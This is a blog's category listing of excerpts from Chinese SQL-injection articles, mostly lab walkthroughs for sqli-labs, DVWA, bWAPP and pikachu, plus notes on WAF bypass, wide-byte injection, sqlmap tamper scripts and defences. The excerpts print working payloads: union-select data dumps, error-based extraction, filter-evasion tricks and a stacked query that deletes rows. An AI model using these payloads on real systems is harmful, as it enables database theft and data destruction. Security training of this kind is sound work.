sql注入
文章平均质量分 83
0ak1ey
宁静才致远,浮躁干不了大事。
展开
-
sqlmap脚本tamper使用
很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。如何判断使用哪个脚本最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。如图:直接加个单引号转载 2021-06-07 20:06:59 · 8950 阅读 · 0 评论 -
【sqli-labs】闯关记录39~49
【sqli-labs】闯关记录39~49慢慢来,别着急。【less-39】基于int型堆叠注入?id=1;delete from users where id=1%23注意这个%23很有灵魂,没加之前试了几次都没成功,%23就是为了注释多余的语句limit 0,1,使得语句能够正确的执行。如图所示,执行成功!堆叠注入对魅力就在于,你可以像在shell界面一样操作数据库,丝毫不受干扰。【less-40】’)堆叠注入?id=1' #直接报错?id=1'原创 2021-04-24 22:54:39 · 208 阅读 · 1 评论 -
【sql-labs】闯关记录28~38详解
【sql-labs】闯关记录28~38【less-28】过滤union%0aselect测试流程?id=1') and%0a'1'=('1 #成功回显?id=1') and%0a'1'=('2 #会显失败#测试回显字段?id=232323') %0aunion%0aselect%0a1,2,3%0aand%0a'1'=('1 #发现union%0aselect被过滤了#于是混淆双写,成功绕过?id=232323') %0auniunion%0aselecton%0aselect原创 2021-04-24 14:01:16 · 628 阅读 · 0 评论 -
【sql-labs】闯关记录26a,27,27a
危楼高百尺,手可摘星辰。【less-26a】过滤了and、or、空格、#、/**/,–+,盲注测试流程?id=1' aandnd '1'='1 #成功回显?id=1' aandnd(extractvalue(1,concat(0x7e,database(),0x7e)))anandd'1'='1 #多次尝试后发现没有错误回显查看源码发现闭合方式是(’’)但是为何?id=1' aandnd '1'='1成功回显了呢?拼接后的语句应该是select * from users where原创 2021-04-22 22:13:01 · 307 阅读 · 0 评论 -
【sql-labs】闯关记录25a26
伸手摘星,即使徒劳无功,亦不至满手污泥。【less-25a】数字型,过滤了and or测试流程注:以下payload部分都要进行url编码?id=' #直接报错?id=1' and 1=1%23 #发现and被过滤?id=1' && 1=1%23 #发现依然回显错误,说明可能不是字符型?id=1 && 1=1 #回显正常,说明是数字型?id=1 && 1=2 #无回显##order by测试主查询字段数?原创 2021-04-22 19:48:08 · 185 阅读 · 0 评论 -
BWAPP之SQL注入通关
1、SQL injection(GET/search)low输入单引号直接报错,说明有注入点直接order by二分法得出主查询字段数为7直接union注入,测出回显点为2,3,4,5查数据库信息:测出数据库名为bwapp,用户为root,版本为5.5.53查询表名:查询字段名:查字段值:没有难度。medium尝试多种方法都不行,看了一眼源码:发现是用addslashes()进行转义的,尝试了下宽字节绕过,也不行。看了下原来数据库采用的是urf8编码,本来想改成g..原创 2021-04-17 21:16:04 · 2852 阅读 · 1 评论 -
SQL注入之WAF绕过
惊奇是哲学家的感觉,哲学开始于惊奇。----柏拉图一、WAF绕过核心思想1、SQL语句的同义变形体例如:and ------------------- &&or ------------------ ||空格 --------------- /**/ 或 /*任意字符*/= ----------------- likeunion ------------------- ||where ------------------------ limitlimi.原创 2021-04-12 21:58:00 · 431 阅读 · 0 评论 -
SQL注入之宽字节注入
沉舟侧畔千帆过,病树前头万木春。什么是宽字节注入?当后端对用户的输入做了转义时,比如利用addslashes()或mysql_escape_string()函数。此时输入id=1’其中的单引号会被转义而变成id=1\',这样就使得单引号无法闭合数据库中的语句,一般情况下是很难绕过的。但是有两种情况可以通过宽字节注入绕过。第一中情况是当数据库的编码为GBK时,注入格式为id=1%df',因为反斜杠\的编码为%5c,所以参数传到后端经过转义后就会变成id=1%df%5c',其中GBK会将%df%5c编.原创 2021-04-12 15:57:34 · 1448 阅读 · 0 评论 -
【sql-labs】闯关记录21~25
【sql-labs】闯关记录21~25【less-21】基于cookie的注入(base64加密)1、测试流程这一关和第20关很像先登录进去点击delete用burp抓包:发现cookie字段像是被加密了,看到了%3D(=的十六进制),应该是base64加密。于是构造payload:1' and 1=2 union select user(),database(),version()#用base64编码为:MScgYW5kIDE9MiB1bmlvbiBzZWxlY3QgdXNlcigp原创 2021-03-12 19:57:28 · 207 阅读 · 0 评论 -
【sqli-labs】闯关记录17~20
【sqli-labs】闯关记录17~20【less-17】基于密码的报错注入1、源码分析<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);function check_input($value) { if(!empty($value)) { // truncation (see comments)原创 2021-03-10 20:25:33 · 198 阅读 · 0 评论 -
Mysql注入防御
Mysql注入防御一、应用层防御1、SQL注入的本质原因是应用层的问题2、SQL注入应用层防御目标是修复SQL所有可能的漏洞,做好事前的防范过滤SQL注入基本字符:’ or " 字符串闭合– or # 单行注释/*…*/ 多行注释+ 加号,url中替代空格拼接字符concat 字符拼接% 通配符?Param1=foo&Param2=bar url参数select url打印常量等@variab原创 2021-03-10 10:51:27 · 320 阅读 · 0 评论 -
Mysql注入经验浅谈
Mysql注入经验浅谈一、注入准备与攻击步骤1、确认注入攻击的目标网站2、目标网站一般信息的收集、分析与提取3、网站技术分析:寻找和测试可用注入点,网页输入输出机制分析4、探子回报:注入SQL确定数据库类型,当前账户权限级别5、提权分析:根据用户级别确定是否可以与系统层交互提权,是否可以与数据库层交互提权,是否可以获取web后台管理员权限的可能性。6、网站可用SQL注入类型测试,盲注?显注?7、盲注策略:使用注入分析工具替代人工 显注策略:第三者上位一般信息的收集、分析与提取原创 2021-03-10 10:47:58 · 294 阅读 · 0 评论 -
Mysql注入基础总结
Mysql注入基础INSERT逻辑4种(values, set, select, 空)insert into users(uid,username,password) values(10015,‘peiqi’,‘123456’)insert into users values(10016,‘peiqi’,‘123456’)insert into users(uid,uname) select 10017,‘peiqi’insert into users set uid=10018,uname=‘原创 2021-03-10 10:43:32 · 271 阅读 · 0 评论 -
【sqli-labs】闯关记录11~16
【sqli-labs】闯关记录11~16【less-11】基于’的post方式注入1、测试流程先尝试使用万能密码1' or 1=1#如图所示,成功登录!使用burp抓包输入payload1' order by 5#查看回显用二分法最终测出主查询的字段数为2//查询数据库基本信息输入payload回显信息其余的步骤和之前一样,暴表名、字段名、字段值。这里就不再赘述。2、源码分析<?php//includi原创 2021-03-09 19:03:21 · 145 阅读 · 0 评论 -
【sqli-labs】闯关记录5~10
【sqli-labs】闯关记录5~10【less-5】基于’'报错注入1、测试流程?id='//从报错内容分析,应该是字符型注入?id=1' and 1=1--+ //回显You are in...?id=1' and 1=2--+ //回显为空-- 经过多次尝试u,发现除了报错就是回显You are in...或者回显为空//可以初步判断,是一个报错注入或者盲注//于是尝试使用报错注入//使用updatexml()?id=1' and updatexml(1,原创 2021-03-09 16:45:13 · 212 阅读 · 0 评论 -
【sqli-labs】闯关记录1~4
【sqli-labs】闯关记录1~4【less-1】基于字符型注入1、初步测试?id=1' and 1=1--+//回显正常//起初用#试图注释sql语句后面的内容,但试了几次都失败了,刚开始怀疑是后端过滤了,但后来转念一想这个是在url中传参的,而#在url中属于锚点,不会传入后台(当然如果是post传参的话就可以),这下才恍然大悟。?id=1' and 1=2--+//回显错误2、获取数据库信息//order by二分法获取主查询字段数?id=1' order by 5--+原创 2021-03-08 17:47:44 · 187 阅读 · 0 评论 -
【DVWA】SQL Injection(Blid)
【DVWA】SQL Injection(Blid) SQL Injection(Blind)即SQL盲注,与一般的SQL注入的区别是盲注时攻击者通常无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要高于一般的注入。并且现在实战基本都是盲注。盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注,基于报错的SQL盲注。基本思路:1、先判断是否存在盲注2、利用二分法逐个字母的猜解出数据库名3、猜解数据库的表的数量4、猜解数据库表名5、猜解表中字段名原创 2021-02-28 23:09:53 · 427 阅读 · 1 评论 -
【DVWA】SQL Injection------------------------------high与impossible源码分析
【DVWA】SQL Injection------------------------------high与impossible源码分析1、初步测试输入1时,会显出ID为1的first name和surname输入’时,报错something went wrong输入1’ and 1=1#时,正常回显:输入1’ and 1=2#时,没有回显也没有报错:所以判断该处可能有sql注入输入1' or 1=1直接遍历出用户信息2、曝数据库名order by 测试出主查询字段数为2pay原创 2021-02-28 16:50:06 · 366 阅读 · 0 评论 -
【DVWA】SQL Injection------------------------Medium
【DVWA】SQL Injection------------------------Medium1、初步测试发现是post请求于是用burp抓包:输入单引号’报错:输入1 and 1=1回显正常,判断应该是数字型输入1 and 1=2没有回显,说明存在sql注入漏洞2、获取数据库名、用户、版本号order by测出主查询字段数为2payload_1:union select group_concat(database(),user(),version()),1爆出数据库原创 2021-02-28 14:43:39 · 205 阅读 · 0 评论 -
【DVWA】SQL Injection-----------------------low
【DVWA】SQL Injection-----------------------low1、初步测试输入单引号报错输入' and 1=1#回显正常,说明存在sql注入输入' or 1=1#,遍历出数据库内容:用order by测出主查询为两个字段2、获取数据库名、用户名、版本用union语句查询数据库名和用户名:payload_1:' union select database(),user()#payload_2:' union select 1,concat_ws('~',dat原创 2021-02-25 21:15:07 · 354 阅读 · 0 评论 -
关于SQL注入报错:Illegal mix of collations for operation ‘UNION‘原因剖析与验证
关于SQL注入报错:Illegal mix of collations for operation 'UNION’原因剖析与验证今天练习了一下DVWA的SQL注入模块使用了union注入时报错如下:Illegal mix of collations for operation ‘UNION’payload:' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#网原创 2021-02-25 16:11:48 · 15985 阅读 · 14 评论 -
2021-1-31 pikachu之sql注入
pikachu之sql注入(初级)文章目录pikachu之sql注入(初级)地位产生原因攻击流程注入点类型分类1、数字型注入(post)2、字符型注入(get)3、搜索型注入4、xx型注入总结:5、sql注入手动测试-----基于union的信息获取完整步骤:信息获取---------基于报错注入1、基于select-----------------------------------------------**总结:**2、基于insert--------------------------------原创 2021-02-06 00:06:50 · 465 阅读 · 6 评论 -
Access偏移注入
Access偏移注入应用场景偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下。当我们知道表名,字段名取名复杂,字典暴力破解字段名不成功,无法得知字段名,此时可以使用偏移注入进行查询。这种偏移注入方式往往借助个人人品,且步骤繁琐。本地演示phpstudy+Navicat准备两张Mysql数据库表admintest_1查询测试:select * from test_1 where id=1 union select原创 2020-12-06 15:54:49 · 287 阅读 · 0 评论